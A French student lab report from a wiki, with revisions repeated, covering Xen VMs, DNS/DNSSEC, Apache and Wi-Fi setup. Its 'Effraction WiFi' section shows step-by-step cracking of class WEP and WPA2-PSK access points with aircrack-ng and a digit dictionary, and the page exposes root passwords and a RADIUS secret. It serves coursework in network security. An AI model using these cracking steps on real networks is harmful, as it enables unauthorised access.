KEY FOUND! [ FF:FF:FF:FF:FA:BC:06:CB:AE:EE:EE:EE:EE ]
Decrypted correctly: 100%

</syntaxhighlight>

===== Cassage WPA-PKS =====
Ce script python permet de creer un dictionnaire :<syntaxhighlight lang="python">
with open("dictionnaire_8_chiffres.txt", "w") as f:
for i in range(100000000): # Pour générer des nombres de 00000000 à 99999999
f.write(f"{i:08d}\n") # Écrit le nombre avec 8 chiffres

</syntaxhighlight>ou alors avec crunch :

<code>crunch 8 8 0123456789 -o dictionnaire_8_chiffres.txt</code>

Ensuite après execution nous pouvons recuperer le fichier .txt créer.

On récuperer le dump comme precedemment pour cette borne pour mon cas :

<code>BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID</code>

<code>44:AD:D9:5F:87:04 -43 3 5 2 13 54e. WPA2 CCMP PSK kracotte05</code>

Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :<code>sudo airodump-ng wlx40a5ef0f679b --write airodumpWPA --bssid 44:AD:D9:5F:87:04 -c13</code>

Et ensuite après avoir récuperer 1 data minimum :

<code>aircrack-ng airodump-01.cap</code>

Et enfin on attend (c'est long si vous vous demander... tres looong faite la suite en attendant :<syntaxhighlight lang="bash">
Aircrack-ng 1.7

[00:35:36] 66631280/100000000 keys tested (30842.35 k/s)

Time left: 18 minutes, 1 second 66.63%

KEY FOUND! [ 66685666 ]

Master Key : EF 69 DE 33 B4 7F AA 9E 20 AB 3C AF F1 F7 3E A8
61 7C 80 F2 3C A9 FE B6 9A 72 98 B3 20 B3 2A A6

Transient Key : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC : AD 95 F2 4D 5A 3F 4A 57 CD D8 0E EA A6 14 8B 1A

</syntaxhighlight>

==== Sécurisation WiFi par WPA2-EAP ====
Depuis notre machine de service on va se connecter sur notre borne wifi, ici on prend l'IP de la E304 :

<code>ssh -oKexAlgorithms=+diffie-hellman-group11-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4</code>

<syntaxhighlight lang="bash">
conf t

aaa new-model
aaa authentication login eap_student5 group radius_student5
radius-server host 192.168.10.3 auth-port 1812 acct-port 1813 key secret_student5
aaa group server radius radius_student5
server 192.168.10.3 auth-port 1812 acct-port 1813
exit

dot11 ssid VM_SERVICES_5
vlan 15
authentication open eap eap_student5
authentication network-eap eap_student5
authentication key-management wpa
mbssid guest-mode
exit

interface Dot11Radio0
encryption vlan 15 mode ciphers aes-ccm
exit

interface Dot11Radio0.15
encapsulation dot1Q 15
bridge-group 15
exit

interface GigabitEthernet0.15
encapsulation dot1Q 15
bridge-group 15
exit

</syntaxhighlight>

et l'IP de la E305 :

<code>ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3</code>

Et ensuite sur le routeur :<syntaxhighlight lang="shell">
conf t

ip dhcp pool PoolCedric
network 10.60.5.0 255.255.255.0
dns-server 193.48.57.166
default-router 10.60.5.254
exit

exit
write
</syntaxhighlight>

=== Utiles ===

=== XEN ===
''Liste des VMs allumées :'' <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

''Se connecter à la VM :''<syntaxhighlight lang="shell">
xen console <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds
''Sortir de la console xen :''<syntaxhighlight lang="shell">
Ctrl + Shift + 5
</syntaxhighlight>''Eteindre une VM :'' <syntaxhighlight lang="shell">
xen shutdown <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds

''Allumer une VM :''<syntaxhighlight lang="shell">
xen create /etc/xen/<nomMachine>.cfg
</syntaxhighlight>

Atelier SysRes SE4 2025/2026 E5

2026-02-10T15:38:36Z

Cpayet : /* Sécurisation WiFi par WPA2-EAP */

=== Compte rendu des commandes effectués ===

==== Etape 1 : Connexion SSH ====
ssh root@capbreton

Mot de passe :

==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====
On se déplace à ce répertoire :<syntaxhighlight lang="shell">
cd /etc/network/interfaces.d/
</syntaxhighlight>On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :<syntaxhighlight lang="shell">
touch SE42026_cpayet_tdelobel
vim SE42026_cpayet_tdelobel

</syntaxhighlight>Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :<syntaxhighlight lang="shell">
auto pont_pacman
iface pont_pacman inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
</syntaxhighlight>Une fois le pont créer, il faut le démarrer :<syntaxhighlight lang="shell">
ifup pont_pacman
</syntaxhighlight>

==== Etape 3 : Création des VMs ====
<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4.CachyOS --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.Manjaro --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.LinusTorvalds --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
</syntaxhighlight>On adapte les hostnames en fonction des nom de nos machines.

'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.

===== Nos résultats : =====
CachyOS : <syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.CachyOS
Distribution : daedalus
MAC Address : 00:16:3E:8B:45:EC
IP Address(es) : dynamic
SSH Fingerprint : SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)
SSH Fingerprint : SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)
SSH Fingerprint : SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)
SSH Fingerprint : SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)
Root Password : 6nyCiterydiMtnxsPDRsUys

</syntaxhighlight>Manjaro : <syntaxhighlight lang="shell">

Installation Summary
---------------------
Hostname : SE4.Manjaro
Distribution : daedalus
MAC Address : 00:16:3E:36:79:D8
IP Address(es) : dynamic
SSH Fingerprint : SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)
SSH Fingerprint : SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)
SSH Fingerprint : SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)
SSH Fingerprint : SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)
Root Password : PgvMbhYvgtksg8tmiJnVZnQ
</syntaxhighlight>LinusTorvalds :<syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.LinusTorvalds
Distribution : daedalus
MAC Address : 00:16:3E:AA:BF:EF
IP Address(es) : dynamic
SSH Fingerprint : SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)
SSH Fingerprint : SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)
SSH Fingerprint : SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)
SSH Fingerprint : SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)
Root Password : ekrmCSKb3ZAxXSYvNpjbiSK
</syntaxhighlight>

==== Etape 4 : ====
PHRASE MANQUANTE<syntaxhighlight lang="shell">
xen create /etc/xen/SE4.Manjaro.cfg
xen create /etc/xen/SE4.CachyOS.cfg
xen create /etc/xen/SE4.LinusTorvalds.cfg
</syntaxhighlight>On vérifie la liste des machines lancées via : <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

===== Nos résultats : =====
<syntaxhighlight lang="shell">
Name ID Mem VCPUs State Time(s)
SE4.CachyOS 83 2048 1 -b---- 5.6
SE4.Manjaro 85 2048 1 -b---- 5.8
SE4.LinusTorvalds 87 2048 1 -b---- 5.3
</syntaxhighlight>

==== Etape 5 : Partition ====

===== Sur capbreton =====

On partionne avec cette commande :<syntaxhighlight lang="shell">
lvcreate -n SE4.CachyOS.var -L 10G virtual
</syntaxhighlight>
On éteint notre machine : <syntaxhighlight lang="shell">
xen shutdown SE4.CachyOS
</syntaxhighlight>
Et on modifie :<syntaxhighlight lang="shell">
vim /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Et on ajoute ceci :<syntaxhighlight lang="shell">
disk = [
[...],
'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',
'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'
]
</syntaxhighlight>

===== Sur la machine mandataire =====

Nous ajoutons les partitions dans '''''/etc/fstab''''' : <syntaxhighlight lang="shell">
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>

Nous formatons les partitions avant de les utiliser : <syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
</syntaxhighlight>

Nous copions le contenu de '''/var''' : <syntaxhighlight lang="shell">
mount /dev/xvda3 /mnt
mv /var/* /mnt
umount /mnt
</syntaxhighlight>

Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : <syntaxhighlight lang="shell">
mount -a
</syntaxhighlight>

===== De nouveaux sur capbreton =====
On redémarre notre machine : <syntaxhighlight lang="shell">
xen create /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Ensuite on se connecte à notre VM via :<syntaxhighlight lang="shell">
xen console SE4.CachyOS
</syntaxhighlight>

===== Machines de Service - CachyOS & Manjaro =====
Dans notre VM :

On modifie :<syntaxhighlight lang="shell">
vim /etc/network/interfaces
</syntaxhighlight>
Et on ajoute ceci :<syntaxhighlight lang="shell">
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.10.3/24
gateway 192.168.10.1

# Pour l'ipv6
auto eth1
iface eth1 inet6 auto

</syntaxhighlight>

* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS

===== Machine Mandataire - LinusTorvalds =====
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :

La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.

Sur capbreton, depuis <code>/etc/xen/SE4.CachyOS.cfg :</code><syntaxhighlight lang="shell">
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']
</syntaxhighlight>Pour l'adresse mac on prend celui existant et on fait +1.

Depuis <code>/etc/resolv.conf </code>:<syntaxhighlight lang="shell">
nameserver 8.8.8.8

</syntaxhighlight>

==== SSH 476 ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3 ====
<syntaxhighlight lang="shell">
apt update
apt upgrade

apt install ssh
apt install bind9
apt install apache2
</syntaxhighlight>(Dans TOUTES les VMs)

On active le SSH en ajoutant dans <code>/etc/ssh/sshd_config</code> :<syntaxhighlight lang="shell">
PermitRootLogin yes
</syntaxhighlight>Pour redemarrer le service ssh :<syntaxhighlight lang="shell">
/etc/init.d/ssh restart
</syntaxhighlight>Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :<syntaxhighlight lang="shell">
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24
</syntaxhighlight>

==== Mascarade ====
Sur la mandataire : <syntaxhighlight lang="shell">
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22
iptables-save

</syntaxhighlight>Et on décommente cette ligne dans <code>/etc/sysctl.conf</code> : <syntaxhighlight lang="shell">
net.ipv4.ip_forward=1
</syntaxhighlight>Et maintenant nous pouvons nous connecter à notre machine de service en ssh : <syntaxhighlight lang="shell">
#IPV4
ssh root@193.48.57.166 -p 2202
# IPV6
ssh root@2001:660:4401:60a0:216:3eff:fe8b:45ed
</syntaxhighlight>

==== DNS ====
Tout d'abord, il faut modifier <code>/etc/bind/named.conf.local</code> : <syntaxhighlight lang="shell">
zone "archlinuxbtw.lol" {
type master;
file "/etc/bind/myZones/db.archlinuxbtw.lol";
allow-transfer{secondaries;};
notify yes;
};

acl "secondaries"{
192.168.10.2;
2001:660:4401:60a0:216:3eff:fe36:79d9;
};

zone "archlinux.lol" {
type secondary;
file "/etc/bind/backup/db.archlinux.lol";
primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};
};

</syntaxhighlight>J'ai ensuite créée un dossier myZones puis j'ai créer db.archlinuxbtw.lol et j'y ai ajouter :<syntaxhighlight lang="shell">
$TTL 400

@ IN SOA ns.archlinuxbtw.lol admin.archlinuxbtw.lol (
3609 ; Numero de version
21600 ; Rafraichissement (6h)
3600 ; Re-tentative (1h)
2592000 ; Expiration (30j)
86400 ; Cache negatif (24h)
);

IN NS ns.archlinuxbtw.lol.
IN NS ns.archlinux.lol.
@ IN A 193.48.57.166
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8b:45ed
ns IN A 193.48.57.166
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8b:45ed

www IN CNAME archlinuxbtw.lol

</syntaxhighlight>Ensuite on restart le service via : <code>service named restart</code>

Création d'une clé<syntaxhighlight lang="shell">
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinuxbtw.lol.key -out archlinuxbtw.csr
</syntaxhighlight>
[[Fichier:DNS Check.png|centré|vignette|452x452px|DNS Checker ]]
Notre DNS est bien reconnu et la commande <code>dig @8.8.8.8 archlinuxbtw.lol</code> c'est grâce au Glue records.

Génération des clés

Changement nom machine <code>nano /etc/hostname : CachyOS</code>

Et dans /etc/hosts:

127.0.1.1 archlinuxbtw.lol SE4.CachyOS

==== DNSSEC ====
Afin de protéger notre DNS contre des possibles attaques nous utiliserons DNSSEC. Ici nous utiliserons la politique DNSSEC : <code>"dnspol"</code>
Ensuite on crée le dossier keys et on donne les droits a bind d'écrire dedans avec :<syntaxhighlight lang="shell">
mkdir /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 750 /etc/bind/keys
</syntaxhighlight>Pour ce faire, dans <code>named.conf.local</code> il faut rajouter les 3 lignes à partir de "key-directory" :<syntaxhighlight lang="shell">
key-directory "/etc/bind/keys";
dnssec-policy "dnspol"; // DNSSEC automatique
inline-signing yes;

[...]

dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};

</syntaxhighlight>Pour l'activer, il faut restart bind9 avec <code>systemctl restart bind9</code>

Il ne reste qu'à ajouter la clé KSK sur Gandi et ensite on peut voir s'il fonctionne bien grace au site suivant : <nowiki>https://dnsviz.net</nowiki>
[[Fichier:DNSSec.png|centré|vignette|DNSSec]]

Et on peut voir que nos clefs on bien été générer : <syntaxhighlight lang="shell">
root@CachyOS:/etc/bind# ls keys/
Karchlinuxbtw.lol.+013+24458.key Karchlinuxbtw.lol.+013+56682.key
Karchlinuxbtw.lol.+013+24458.private Karchlinuxbtw.lol.+013+56682.private
Karchlinuxbtw.lol.+013+24458.state Karchlinuxbtw.lol.+013+56682.state

</syntaxhighlight>

==== Apache ====
Dans ce repertoire <code>/etc/apache2/sites-availab</code>le : touch archlinuxbtw.lol.conf

Je genere un crt via la commande :

openssl x509 -req -days 365 -in archlinuxbtw.csr -signkey archlinuxb

tw.lol.key -out archlinuxbtw.lol.crt

Et je deplace mes fichiers dans :

root@CachyOS:~# mv archlinuxbtw.lol.crt /etc/ssl/certs/

root@CachyOS:~# mv archlinuxbtw.lol.key /etc/ssl/private/

root@CachyOS:~# chmod 600 /etc/ssl/private/archlinuxbtw.lol.key

Pour arreter le service par defaut : a2dissite 000-default.conf

Et on verifie avec la commande : apache2ctl -S

Iptable pour atteindres les ports https : <code># HTTP iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.10.3:80 # HTTPS iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.10.3:443 iptables-save</code>

iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 80 -j ACCEPT

iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 443 -j ACCEPT
==== Effraction WiFi ====

===== Cassage WEP =====
Il faut tout faire sur la zabeth13 comme on avait tester sur 4 machines dans la semaine avec mon binome les cartes réseaux des autres machines ne marchent pas.

Avec ip link je vois que l'interface wifi se nomme <code>wlx40a5ef0f679b</code>.

On peut alors recuperer le bssid de notre réseau wifi a crack. Je suis le numéro 5 donc je dois crack la cracotte05 :

<code>sudo airodump-ng wlx40a5ef0f679b</code>

Je recupere :

<code>BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID</code>

<code>04:DA:D2:9C:50:54 -63 27 5 0 4 54e. WEP WEP cracotte05</code>

Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :

<code>sudo airodump-ng wlx40a5ef0f679b --write airodump --bssid 04:DA:D2:9C:50:54 -c4</code>

Et en parallele on lance ceci jusqu'a ce que la clef soit trouvé :

<code>aircrack-ng airodump-01.cap</code><syntaxhighlight lang="shell">
Aircrack-ng 1.7

[00:26:11] Tested 835 keys (got 68980 IVs)
Got 70001 out of 70000 IVsStarting PTW attack with 70001 ivs.
KB depth byte(vote)
0 0/ 13 FF(97024) A3(79616) D9(79360) C5(78848) 3A(78592) E3(78592) 29(78336) D1(78336) E9(78080) 7C(77568) DF(77568) 34(76800) 85(76800) D8(76544) 24(76032)
1 0/ 1 CA(108544) CB(80128) B5(79104) EB(78336) 10(77824) A8(77312) E5(76800) F8(76800) E7(76544) EE(76544) 27(76288) 4C(76288) 68(76288) CC(76288) E6(76288)
2 2/ 2 A4(80128) 3A(78336) 14(76800) 5A(76544) D2(76544) 98(76032) 08(75776) 1D(75776) 40(75776) 99(75776) E4(75776) F2(75776) CD(75520) F7(75520) 56(75008)
3 0/ 1 D1(100608) 89(79872) 22(77568) 11(77056) A0(77056) 9E(76800) B0(76800) 98(76544) A9(76544) 5A(76032) AB(76032) CD(76032) 9A(75776) 4D(75520) 51(75264)
4 7/ 4 43(77312) 4E(76800) 0F(76544) 29(76544) BA(76544) 3E(76032) 61(75776) A6(75776) C6(75776) 89(75264) 21(75008) 5A(75008) 65(75008) C8(75008) DD(75008)

KEY FOUND! [ FF:FF:FF:FF:FA:BC:06:CB:AE:EE:EE:EE:EE ]
Decrypted correctly: 100%

</syntaxhighlight>

===== Cassage WPA-PKS =====
Ce script python permet de creer un dictionnaire :<syntaxhighlight lang="python">
with open("dictionnaire_8_chiffres.txt", "w") as f:
for i in range(100000000): # Pour générer des nombres de 00000000 à 99999999
f.write(f"{i:08d}\n") # Écrit le nombre avec 8 chiffres

</syntaxhighlight>ou alors avec crunch :

<code>crunch 8 8 0123456789 -o dictionnaire_8_chiffres.txt</code>

Ensuite après execution nous pouvons recuperer le fichier .txt créer.

On récuperer le dump comme precedemment pour cette borne pour mon cas :

<code>BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID</code>

<code>44:AD:D9:5F:87:04 -43 3 5 2 13 54e. WPA2 CCMP PSK kracotte05</code>

Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :<code>sudo airodump-ng wlx40a5ef0f679b --write airodumpWPA --bssid 44:AD:D9:5F:87:04 -c13</code>

Et ensuite après avoir récuperer 1 data minimum :

<code>aircrack-ng airodump-01.cap</code>

Et enfin on attend (c'est long si vous vous demander... tres looong faite la suite en attendant :<syntaxhighlight lang="bash">
Aircrack-ng 1.7

[00:35:36] 66631280/100000000 keys tested (30842.35 k/s)

Time left: 18 minutes, 1 second 66.63%

KEY FOUND! [ 66685666 ]

Master Key : EF 69 DE 33 B4 7F AA 9E 20 AB 3C AF F1 F7 3E A8
61 7C 80 F2 3C A9 FE B6 9A 72 98 B3 20 B3 2A A6

Transient Key : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC : AD 95 F2 4D 5A 3F 4A 57 CD D8 0E EA A6 14 8B 1A

</syntaxhighlight>

==== Sécurisation WiFi par WPA2-EAP ====
Depuis notre machine de service on va se connecter sur notre borne wifi, ici on prend l'IP de la E304 :

<code>ssh -oKexAlgorithms=+diffie-hellman-group11-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4</code>

<syntaxhighlight lang="bash">
conf t

aaa new-model
aaa authentication login eap_student5 group radius_student5
radius-server host 192.168.10.3 auth-port 1812 acct-port 1813 key secret_student5
aaa group server radius radius_student5
server 192.168.10.3 auth-port 1812 acct-port 1813
exit

dot11 ssid VM_SERVICES_5
vlan 15
authentication open eap eap_student5
authentication network-eap eap_student5
authentication key-management wpa
mbssid guest-mode
exit

interface Dot11Radio0
encryption vlan 15 mode ciphers aes-ccm
exit

interface Dot11Radio0.15
encapsulation dot1Q 15
bridge-group 15
exit

interface GigabitEthernet0.15
encapsulation dot1Q 15
bridge-group 15
exit

</syntaxhighlight>

et l'IP de la E305 :

<code>ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3</code>

=== Utiles ===

=== XEN ===
''Liste des VMs allumées :'' <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

''Se connecter à la VM :''<syntaxhighlight lang="shell">
xen console <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds
''Sortir de la console xen :''<syntaxhighlight lang="shell">
Ctrl + Shift + 5
</syntaxhighlight>''Eteindre une VM :'' <syntaxhighlight lang="shell">
xen shutdown <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds

''Allumer une VM :''<syntaxhighlight lang="shell">
xen create /etc/xen/<nomMachine>.cfg
</syntaxhighlight>

Atelier SysRes SE4 2025/2026 E5

2026-02-10T15:37:47Z

Cpayet : /* Sécurisation WiFi par WPA2-EAP */

=== Compte rendu des commandes effectués ===

==== Etape 1 : Connexion SSH ====
ssh root@capbreton

Mot de passe :

==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====
On se déplace à ce répertoire :<syntaxhighlight lang="shell">
cd /etc/network/interfaces.d/
</syntaxhighlight>On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :<syntaxhighlight lang="shell">
touch SE42026_cpayet_tdelobel
vim SE42026_cpayet_tdelobel

</syntaxhighlight>Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :<syntaxhighlight lang="shell">
auto pont_pacman
iface pont_pacman inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
</syntaxhighlight>Une fois le pont créer, il faut le démarrer :<syntaxhighlight lang="shell">
ifup pont_pacman
</syntaxhighlight>

==== Etape 3 : Création des VMs ====
<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4.CachyOS --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.Manjaro --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.LinusTorvalds --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
</syntaxhighlight>On adapte les hostnames en fonction des nom de nos machines.

'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.

===== Nos résultats : =====
CachyOS : <syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.CachyOS
Distribution : daedalus
MAC Address : 00:16:3E:8B:45:EC
IP Address(es) : dynamic
SSH Fingerprint : SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)
SSH Fingerprint : SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)
SSH Fingerprint : SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)
SSH Fingerprint : SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)
Root Password : 6nyCiterydiMtnxsPDRsUys

</syntaxhighlight>Manjaro : <syntaxhighlight lang="shell">

Installation Summary
---------------------
Hostname : SE4.Manjaro
Distribution : daedalus
MAC Address : 00:16:3E:36:79:D8
IP Address(es) : dynamic
SSH Fingerprint : SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)
SSH Fingerprint : SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)
SSH Fingerprint : SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)
SSH Fingerprint : SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)
Root Password : PgvMbhYvgtksg8tmiJnVZnQ
</syntaxhighlight>LinusTorvalds :<syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.LinusTorvalds
Distribution : daedalus
MAC Address : 00:16:3E:AA:BF:EF
IP Address(es) : dynamic
SSH Fingerprint : SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)
SSH Fingerprint : SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)
SSH Fingerprint : SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)
SSH Fingerprint : SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)
Root Password : ekrmCSKb3ZAxXSYvNpjbiSK
</syntaxhighlight>

==== Etape 4 : ====
PHRASE MANQUANTE<syntaxhighlight lang="shell">
xen create /etc/xen/SE4.Manjaro.cfg
xen create /etc/xen/SE4.CachyOS.cfg
xen create /etc/xen/SE4.LinusTorvalds.cfg
</syntaxhighlight>On vérifie la liste des machines lancées via : <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

===== Nos résultats : =====
<syntaxhighlight lang="shell">
Name ID Mem VCPUs State Time(s)
SE4.CachyOS 83 2048 1 -b---- 5.6
SE4.Manjaro 85 2048 1 -b---- 5.8
SE4.LinusTorvalds 87 2048 1 -b---- 5.3
</syntaxhighlight>

==== Etape 5 : Partition ====

===== Sur capbreton =====

On partionne avec cette commande :<syntaxhighlight lang="shell">
lvcreate -n SE4.CachyOS.var -L 10G virtual
</syntaxhighlight>
On éteint notre machine : <syntaxhighlight lang="shell">
xen shutdown SE4.CachyOS
</syntaxhighlight>
Et on modifie :<syntaxhighlight lang="shell">
vim /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Et on ajoute ceci :<syntaxhighlight lang="shell">
disk = [
[...],
'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',
'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'
]
</syntaxhighlight>

===== Sur la machine mandataire =====

Nous ajoutons les partitions dans '''''/etc/fstab''''' : <syntaxhighlight lang="shell">
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>

Nous formatons les partitions avant de les utiliser : <syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
</syntaxhighlight>

Nous copions le contenu de '''/var''' : <syntaxhighlight lang="shell">
mount /dev/xvda3 /mnt
mv /var/* /mnt
umount /mnt
</syntaxhighlight>

Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : <syntaxhighlight lang="shell">
mount -a
</syntaxhighlight>

===== De nouveaux sur capbreton =====
On redémarre notre machine : <syntaxhighlight lang="shell">
xen create /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Ensuite on se connecte à notre VM via :<syntaxhighlight lang="shell">
xen console SE4.CachyOS
</syntaxhighlight>

===== Machines de Service - CachyOS & Manjaro =====
Dans notre VM :

On modifie :<syntaxhighlight lang="shell">
vim /etc/network/interfaces
</syntaxhighlight>
Et on ajoute ceci :<syntaxhighlight lang="shell">
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.10.3/24
gateway 192.168.10.1

# Pour l'ipv6
auto eth1
iface eth1 inet6 auto

</syntaxhighlight>

* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS

===== Machine Mandataire - LinusTorvalds =====
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :

